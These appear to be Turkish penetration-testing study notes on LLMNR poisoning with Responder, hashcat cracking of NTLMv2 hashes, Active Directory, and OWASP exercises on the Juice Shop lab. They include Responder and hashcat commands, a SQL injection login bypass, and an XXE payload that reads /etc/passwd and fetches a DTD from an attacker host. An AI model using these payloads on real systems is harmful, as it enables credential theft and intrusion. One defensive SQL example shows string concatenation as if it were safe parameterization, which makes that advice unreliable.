LLMNR Poisoning

  • Link Local Multicast Name Resolution : DNS hata verdiğinde hostları tanımak için kullanılan bir servistir
  • Eskiden NBT-NS ⇒ NETBIOS Name Server vardı.
  • Temel açıklık responde gönderildiğinde sistemin kullanıcı adı ve NTLMv2 Hash olarak şifrenin döndürülmesidir.
  • Saldırgan ortada bulunur. Man In The Middle olarak ağı dinler.
  • Hedef sunucuya yanlış bir isim için bağlantı gönderdiğinde sunucu bunu bilmediğini söyler.
  • Ortadaki saldırgan da kurbana ben sanki bir sunucuymuş gibi “Ben biliyorum kullanıcı adı ve şifre hash’ini bana yolla ben seni bağlayayım” der ve böylece kullanıcının bilgisini almış olur.
  • Bu amaçla responder aracını kullanıyoruz. Genel olarak ilk işimiz bu aracı çalıştırmak olur. Böylece gelecek trafikleri ve istekleri görme imkanımız olur.
  • Bu toolu kullanarak yapılacak saldırının adımları kabaca şöyledir :
    1. Responder çalıştırmak : python Responder.py -l tun0 -rdw
    2. Sonra bekleme aşamasında bir etkinlik gerçekleşir. Birisi yanlış bir isim girer, yanlış olmayan bir domaine bağlanmaya çalışır vs.
    3. Bu aşamada responder bize kullanıcı ip, kullanıcı adı ve kullanıcı password hash’ini döndürür.
    4. Son aşamada da hashcat aracını kullanarak bu hash’i çözmeye çalışıyoruz. Hash çözmeden de yapabileceğimiz saldırılar mevcut ancak rockyou gibi bir aracı kullanarak hash çözersek doğrudan parolayı elde etme ihtimalimiz de oluyor. Bu aracı kullanmak için de şu komutları çalıştırıyoruz : hashcat -m 5600 hashes.txt rockyou.txt burada verdiğimiz rockyou.txt parametresi yaygın kullanılan büyük bir wordlisttir.

Capturing NLTMv2 Hashes With Responder

  • Saldırıyı başlatmak için şunları yapıyoruz :
  1. responder -I eth0 -rdwv burada -I parametresi ile verdiğimiz kısım interfacedir. Yani trafiği dinleyip respond edeceğimiz ağ interface ismini giriyoruz. Diğer parametre için de detaylara —help yardımıyla bakabiliriz. Bu parametrenin sonundaki “v” harfi de verbose anlamına gelmekte. Bu paramtereyi vererek hash’i tekrar almamızı sağlıyoruz.
  2. Dinleme aşamasında eğer LLMNR hata alırsa netbios dinlemeye çalışır. Responder çalıştırdığımızda bunu aşağıdaki resimlerdeki gibi görebiliriz.
  3. Daha sonra kurban makineden dinleyen makineye SMB ile erişmek istediğimizde hash’lerin iki kere geldiğini görüyoruz.
  • Genel olarak artık bu saldırılar çok işe yaramıyor. Çünkü kullanıcılar daha bilinçli ve daha dikkatli davranıyor. Ama yine de bu hatalar az miktarda yaygın değil. Bu yüzden bu şekilde bir saldırı kolayca kullanıcıların bilgilerine erişmemizi sağlıyor.

Password Cracking With Hashcat

  • Hashcat, hash çözmek için kullanılan bir araçtır. Bu aracı kullananıp hash çözmek için :
    1. gedit ntlmhash.txt açıp buraya hash’i komple kopyalıyoruz.
    2. hashcat -m 5600 ntlm.txt wordlist : Hashcat aracı oldukça geniş kullanım alanına sahip bir araçtır. İçerisinde birçok farlı modül bulunur. Biz de bu modülleri hashcat —help komutu ile görebiliriz. Bu modüllerden bizim ihtiyacımız olan modül NTLMv2 modülüdür. Bu yüzden -m 5600 komutu ile bu modülü seçmiş oluyoruz. Buradaki son parametremiz olan wordlist de rockyou.txt olacak. Bu wordliste de /usr/share altından erişebiliriz. Bu listenin altında milyonlarca password hazır olarak bulunur ve bunları dener.
    3. Daha fazla wordlist için internette arama yapabiliriz ve şu linki kullanabiliriz : https://github.com/danielmiessler/SecLists
    4. Aracı çalıştırırken VM üzerinde çalışmıyorsak —force komutunu da ekleyebiliriz. Böylece tam güçle hash çözmeye çalışacaktır. Yani komutumuz hashcat -m 5600 ntlm.txt rockyou.txt şeklinde olacak.
    5. Son olarak -O parametresini eklemek te Optimize anlamına gelir ve biraz daha hızı vs optimize eder.

LLMNR Poisoning Defences

  • En temel yöntem LLMNR sistemini tamamen disable etmektir. Yalnızca bunun etkinliğini kaldırmak yetmez aynı zamanda NBT-NS de disable edilmelidir.
  • Çünkü bir DNS çözümlenemeyince önce LLMNR’ye sonra NBT-NS ‘ye gider bu yüzden ikisini de disable etmek gerekir.
  • Eğer bir işletme kesinlikle LLMNR kullanması gerekiyorsa o zaman NAC aktif edilmeli.
  • NAC üzerinden mac ve ip kontrol edilir ve bu MAC ve IP’nin networke ait olup olmadığı sorgulanarak öyle trafiğe ve isteğe izin verilir.
  • Bazı bypass durumları vardır NAC için ama genel olarak iyi bir koruma sağlayacaktır.
  • Son önlem de güçlü şifreler kullanmaktır.

Yapılacak ve Çalışılacaklar

  • LLMNR nasıl çalıştığını anlamak için videoyu izle

Active Directory Overview(New)

  • Bir telefon defteri gibi dizin sistemidir.
  • Bilgisayar, printer vs hepsi bu dizine kayıt olur.
  • Windows makineler kerberos ticketler ile auth olurken linux makineler, firewall’lar vs Radius veya LDAP ile authenticate olur.
  • Bir kullanıcı adı ve şifreyle farklı bilgisayarlardan cihazlardan bağlanmak mümkün olur.
  • Fortune 1000 şirketlerinin %95’i Active Directory kullanır.
  • Özellikler,trustlar, componentler vs kullanılarak bile hack edilebilir. Patch edilebilir bir exploiti olması şart değildir.

What are objects in active directory? Object is the basic element of Active Directory in Microsoft Windows Server family that represents something on the network, such as a user, a group, a computer, an application, a printer, or a shared folder.


Fiziksel AD Componentleri

Domain Controller

  • AD dizinin bir kopyasını tutan makinedir.
  • Giriş ve Kayıt servislerini sağlar
  • Diğer domain controller’ları günceller ve kendisine kopyalar
  • Admin kullanıcısına izin verir, politika ve kullanıcı eklenmesine izin verir. Network işlemlerini yürütür.
  • En önemli componenttir. Herşey burada tutulur.

AD DS Data Store

  • Kullanıcı bilgileri,servisler ve uygulamalar gibi bilgilerin tutulduğu db dosyalarından ve processlerinden oluşur.
  • Ntds.dit dosyasından oluşur. Pass The Hash vs bu dosyadan çıkan bilgilerden oluşur.
  • %SystemRoot%\NTDS yolunda bulunur. Yalnızda domain controller’larda bulunur ve yalnızda DC tarafından erişilebilir.

Lojik AD Componentleri

AD Schema

  • Rule book denebilir. Directory’de tutulabilecek tüm objelerin türlerini tanımlar.
  • Obje oluşturma ve configuration kurallarını barındırır.

Domain

  • Belli politikaların uygulandığı gruplara denir. Organizasyonlar içindeki objeleri gruplamak ve yönetmek için kullanılır.
  • Aynı zamanda domain controllerdan data kopyalamadaki sınırları da belirler ( hangi grup için hangi politikaların ve kuralların dc’den alınacağını belirleyen sınırlardır)
  • Kaynaklara erişim yetkisini belirleyen sınırlardır.

Tree

  • Bir parent domain olur ve child domainler olur. Bu domainler arasında otomatik olarak bir güven kurulur.

Forest

  • Birden fazla domain tree’nin bağlanmasıyla oluşan yapılardır.
  • Ortak bir schema, bir ayar grubu(configuration partition), bir global katalog ve search paylaşırlar
  • Güven ilişkileri oluşturulur.
  • Enterprise admin vs paylaşımı olur.

Organizational Units (OU)

  • Domain içindeki alt birimdir. Kullanıcılar,bilgisayarlar, rule’lar gibi objeleri barındırır.
  • Domain altında hiyerarşiyi temsil eder.
  • Objeler arasında izinleri ve adminleri belirler.
  • Kuralları uygular.

Trusts

  • Kullanıcıların kaynaklara erişiminin belirlendiği mekanizmadır.
  • Yönlü veya yönsüz olabilir.
  • Yönlü olduğunda trust olan yönün aksi yönünde erişim olur. Yani A objesi, B objesine güveniyorsa B objesi, A’nın kaynaklarına erişebilir.
  • Domainler arasında trust kurulur.
  • Forest içindeki bütün domainler otomatik olarak birbirlerine karşı transitive trust kurar.
  • Trust forest dışına da genişletilebilir.

Objects

  • User,InetOrgPerson, Contacts, Groups, Computers, Printers, Shared Folders olabilir.

Cross Site Scripting

XSS için 3 temel XSS türünü inceliyoruz.

  1. Reflected XSS : Bu XSS türünde yazdığımız javascript kodu doğrudan sayfamızda çalışır. Herhangi bir yerde depolanmaz. Çalıştırdığımız anda etkisini görürüz. Bu tür zaafiyetler cookie çalma gibi amaçlar için kullanılabilir.
  2. Stored XSS : Bu türde ise yazdığımız kod veritabanında depolanır ve tekrar çağırılabilir. Örnek olarak bir blogda yazılmış yorum xss şeklinde çalışıyorsa, yorum veritabanında saklandığı için Stored XSS olarak kabul edilir.
  3. DOM XSS : DOM manipülasyonu üzerinden çalışır. JS Frameworklerindeki açıklar vs kullanılarak yapılabilir. Örneği şu şekildedir :

Örnek olarak burada url parametresi hash (#) işaretinden sonrasını alıp innerHtml ile bir html elementinin içine basılır. Bu yüzden url parametresine # işaretinden sonra XSS payloadımızı yazdığımızda XSS çalışmasını sağlarız.

 

Engellemek için yapabileceklerimiz şunlardır :

 

Broken Access Control

Bu zaafiyetde kullanıcıların erişmemesi gereken bir yere erişebilmesi söz konusudur. IDOR gibi zaafiyetler bu kategoriye girer. Birçok farklı yöntemi ve engellemek için birçok farklı yolu vardır. Örnek olarak JWT tokenlerine dikkat edilmeli logout yapıldıktan sonra JWT tokeni işlevsiz kalmalıdır.

Bu zaafiyeti denemek için juice shop’da kullanıcı olarak giriyoruz ve feedback kısmına gidiyoruz. Daha sonra feedback yazdıktan sonra f12 ile formun herhangi bir inputu gizli tutuluyor mu ona bakıyoruz.

Burada hidden bir input bulduk. Bu input kısmından hidden olayını kaldırırsak kullanıcı id’mizin 18 olduğunu görüyoruz. Bu value kısmını da 1 ile değiştirirsek gönderdiğimiz feedback başka bir kullanıcı (muhtemelen id = 1 olan admin ile) ile gönderilmiş oluyor.

XEE Attacks

Bu saldırıyı XML yardımıyla yapacağız. Sunucuya göndereceğimiz/yükleyeceğimiz XML dosyasının Entity özelliğine payload ekleyerek bu saldırıyı yapıyoruz. Bu saldırıda bir kere başarılı olduğumuzda RCE, Local File Disclosure vs gibi birçok zaafiyete sebep olabilir. Entitiy konusuna bakacak olursak. Öncelikle XML dosyamızı hazırlarken versiyon ve encoding bilgisini verdikten sonra root element belirliyoruz. Daha sonra childları belirliyoruz ve XML hazır oluyor. Ama bu XML’i birden fazla kez kullanacaksak bir tane hazırlamak yerine bunu Entity dediğimiz değişkenleri ve şablon mantığını kullanarak hazırlıyoruz. Ayrıca XML içerisinde özel karakterler ( &, <, >, …) kullanamazken Entity özelliği bize bu imkanı sağlıyor. Örnek Entityli bir XML kodu şu şekildedir :

Burada entity olduğunu bildiğimiz için şöyle bir XML payload hazırlayabiliriz :

<?xml version=”1.0″?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM “file:///etc/passwd”>
<!ENTITY % sp SYSTEM “http://x.x.x.x:8080/ss5.dtd”>
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 ‘<!ENTITY % external SYSTEM “file:///nothere/%payload;”>’> %param1; %external;

Daha sonra bunu file upload eklememizi isteyen bir yere yüklüyoruz. Normalde siteler yüklenen dosyalarda entity özelliğini tamamen kapatarak ya da dosyalara uzantı anlamında whitelist oluşturarak bu açıktan korunabilirler. Ama juice shop’da bu kontrol olmadığı için dosyamızı yükleyip requestimizi atıyoruz. Burp ile intercept ettiğimizde ise şöyle bir ekranla karşılaşıyoruz :

Bu işlemin gönderdiğimizde ise sonuç olarak dönen yerde aradığımız dosyaya dair detaylar kesilmiş de olsa bu şekilde karşımıza çıkıyor :

Sitelerin, yüklenecek dosyalara whitelist uygulamaması bile başlı başına bir bulgudur. Bu yüzden bunun üzerine bile gidilebilir.

Sensitive Data Exposure

Burada hassa verileri hedef alıyoruz. Örnek olarak hastane sistemlerini kayıtları birçok önemli veriye sahip olabilir. Bu saldırıları önlemek için hassas veriler public ulaşılabilir bir yerde olmamalı veya en azından şifrelenmiş olmalı.

Bu zaafiyete bir örnek verecek olursak juice shop’da dirbuster çalıştırırsak ftp klasörünü buluruz. site/ftp şeklinde siteye gittiğimizde de burada birçok dosya görüyoruz.

Bu zaafiyet için bir diğer örnek de burp suite ile response değerlerini incelemek. Siteden gelen bütün response değerlerini incelememiz gerekiyor çünkü bunların arasında password veya önemli bir key olabilir.

Bir önemli konu da response headerlarını okumaktır. Bu headerlar bize güvenlik amacıyla alnın önlemlere dair ipuçları verir. Bu ipuçlarından birisi HTST (HTTP Strict Transport Policy) olup olmamasıdır. Bu headerı kullanarak Protocol Downgrade saldırısı yapabiliriz. Bu saldırıyı yaptığımızda bütün şifrelenmiş veriler artık şifresiz halde gelir.

Bir websitesinin headerlerını ve güvenliğini görmek için https://securityheaders.com/ sitesine bakabiliriz. Bir diğer tool da nmap’tir.

nmap –script=ssl-enum-ciphers -p 443 tesla.com

komutuyla bakabiliriz. Burada gelen değer A olursa bu çok iyi demektir. Eğer F olursa bu da kötü bir düzeni var demektir üzerine çalışılabilir.

Broken Authentication

Bu zaafiyeti kontrol ederken dikkat etmemiz gereken maddeler şunlar :

  • Siteye brute force ile saldırı yapabiliyor muyuz? Belli bir denemeden sonra captche vs koyuyor mu?
  • Siteye zayıf şifrelerden birisiyle erişebiliyor muyuz? (abc123)
  • Username : Admin, Password : Admin gibi default kullanıcılarla siteye giriş yapabiliyor muyuz?
  • Reset password için yapılan adımlar yeterli mi?
  • Dışarı sızmış kullanıcı adı şifre verileriyle halen giriş yapılabiliyor mu? (admin girişleri vs)
  • Birden fazla güvenlik önlemi var mı yoksa başkasının kullanıcı adı ve şifresiyle kolayca giriş yapılıyor mu?
  • Kayıt olurken, login ve logout işlemlerinde cookiedeki session idler değişiyor mu yoksa sabit mi? Sabitse giriş ihtimali olabilir.

Örnek olarak juice shop’da test@test.com ve test yazdığımızda şöyle bir ekran geliyor karşımıza :

Bu ekranda yazdığımız mailin mi yoksa şifrenin mi yanlış olduğunu bilmediğimiz için email enumaration yapamıyoruz. Bu yüzden email sistemde kayıtlı mı bilmiyoruz. Ama forgot password kısmında kayıtlı olmayan maillere güvenlik sorularının aktif olmadığını görüyoruz. Böylece bir mailin sistemde kayıtlı olup olmadığını öğrenebilir email enumaration yapabiliriz. Daha sonra da rastgele bir kullanıcı adı şifreyle kayıt olurken isteği inceliyoruz. Görüyoruz ki bir token yok ama giriş yaparken şöyle bir token oluşturuluyor :

Eğer bu token biz logout yaptığımızda değişmezse ve tekrar bu tokenle giriş imkanımız olursa session fixing var demektir bu da bir zaafiyet oluşturur. Broken Authentication dersiyle ilgili diğer yapılabilecekler için juice shop challengelarına bakabiliriz.

SQL Injection

Öncelikle en çok kullanılan SQL komutlarına bakalım.

SQL yazılırken bunlarla birlikte bazı özel karakterler de kullanılabilir. O karakterler de şu şekildedir :

Şimdi test etmek istediğimiz juice shop örneğine dönelim. Burada giriş yapmak istiyoruz ve bunun için öncelikle test verileri ekliyoruz. Normalde SQL bu verileri alıp db’de ilgili kayıt var mı diye kontrol ediyor. Örnek olarak :

Input : test

SQL : SELECT * FROM Users Where email = ‘test’;

Şeklinde çalışıyor. Eğer durum böyleyse biz inputa ‘ karakterini eklediğimizde  SQL : SELECT * FROM Users Where email = ‘test’ ‘; Bu şekilde olmalı ve bize bir sunucu hatası dönmeli. Deniyoruz ve :

Böyle bir sonuçla karşılaşıyoruz. Bu bize, bu site için sql injection yapmamıza izin verdiğini gösteriyor. Yani bizim girdilerimiz düzgün bir şekilde kontrol edilip SQL ‘e öyle verilmiyor. Biz inputumuzu şu şekilde değiştirdiğimizde :

INPUT :  ‘ OR 1=1; —

SQL : SELECT * FROM Users Where email = ‘ ‘ OR 1=1; –;

Sql yukarıdaki gibi oluyor. Bu da bizim 1 konumundaki admin kullanıcısıyla giriş yapmamızı sağlıyor. Çünkü OR 1=1 komutu bütün satırı doğru haline getiriyor. SQL injection zaafiyetinin bir versiyonu da Blind SQL injectiondur. Bu yöntemde de doğrudan değer değil tam olarak sonucu gözlemleyemediğimiz bir input veririz. Örnek olarak inputumuz ‘ (sleep 5) şeklinde yaparsak SQL sunucusu bize dönüş yapmadan önce 5 saniye bekleyecektir. Bu şekilde deneyerek de blind sql olup olmadığını görebiliriz.

SQL injectionu savunmak için ise 2 yöntem bulunuyor :

  1. Inputu parametre haline getirip SQL e öyle vermek: Örnek olarak burada SQL kodunu yazarken geliştirici doğrudan değeri değil parametreyi verebilir. Güzel bir örnek şu şekilde olabilir : “SELECT * FROM Users WHERE email = ?”; ya da “SELECT * FROM Users WHERE email”‘+email'” ;
  2. İkinci yöntem ise gelecek değerin tam olarak kodda ayıklanması ve düzenlenmesidir. Yani beklenen değerde ‘ veya 1=1 gibi ifadelerin bulunması SQL’e gönderilmeden önce engellenir.

OWASP Giriş ve Kurulumlar

Öncelikle OWASP checklist csv indiriyoruz. Bu en yaygın zaafiyetleri bir site üzerinde denememiz için bize bir checklist veriyor. Top 10 zafiyetlere göz atabilir, bunları deneyip basit bir web app pen test yapabiliriz. Daha sonra da olan owasp top 10 pdf versiyonunu indirebiliriz. Pdf versiyonunda zaafiyetler biraz daha derli toplu halde bulunur. Buradan da kolayca hangi zaafiyeti nasıl test edebileceğimizi görebiliriz.

Sonraki aşamada bu dersler için kullanacağımız ortamın kurulumuna geçiyoruz. Öncelikle Kali’ye docker kurmamız gerekiyor. Bu işlem için bu medium makalaesinden faydalanıyoruz. Komutlarımız ve işlemlerimiz şu şekilde olacak.

Docker kurulumunu tamamladıktan sonra OWASP Juice Shop yükleyeceğiz. Github linkinde anlatıldığı gibi docker yardımıyla pull edip yükleyip hazır hale getiriyoruz.

Burada bize bir diğer yardımcı olacak link ise gitbooks. Burasının yardımıyla Juice Shoptaki bütün zaafiyetleri bir eğitim ve test ortamı şeklinde değerlendirebiliriz. Zaafiyetlerin kısa açıklamaları örnek test yöntemleri vs buradan ulaşabiliriz ve öğrenebiliriz. Juice Shop challengeları vs hepsini buradan görebiliriz. Ayrıca Juice Shop herokuya da deploy edebiliriz ama buradaki zaafiyetler çok kısıtlı olacaktır. Makine hazır olduğunda juice shop localhost yardımıyla erişebiliriz. İlk bakacağımız yer ise localhost:3000/#/score-board olacak. Burada bütün challengelar, bunlarla ilgili ipuçları ve nasıl yapılacağına dair çözümler ve eğitimler bulunuyor. Bunları tamamlayıp bilgimizi ve pratiğimizi arttırabiliriz.

Son olarak firefox browsera foxy proxy kuruyoruz. Böylece isteidiğimiz zaman burp için proxy açıp kapatabiliriz kolay bir şekilde. Onun da değerleri HTTP, 127.0.0.1, 8080 olacak şekilde ayarlıyoruz. OWASP için test ortamımız hazırlanmış oluyor.

Httprobe

Listelediğimiz subdomainlerin hangilerinin çalışıp çalışmadığını kontrol etmemizi sağlayan tool.

go get -u github.com/tomnomnom/httprobe

Bu komutla yüklüyoruz.

cat tesla.com/recon/final.txt | httprobe -s -p https:443

Yazarak daha önceki sublister’lardan edindiğimiz bilgiyle listenin tamamına http ve https istek atabiliriz. https:443 ile default https i 443 yapıyoruz.

cat tesla.com/recon/final.txt | httprobe -s -p https:443  sed ‘s/https\?:\/\///’  | tr -d ‘:443’ bunu çalıştırdığımızda tek seferde subdomainlerin başındaki ve sonundaki fazlalıkları atıp öyle gösterir.Son shell scriptimizi aynı olanları atacak sort -u (unique) komutunu ekleyerek şu hale getirip çalıştırabiliriz :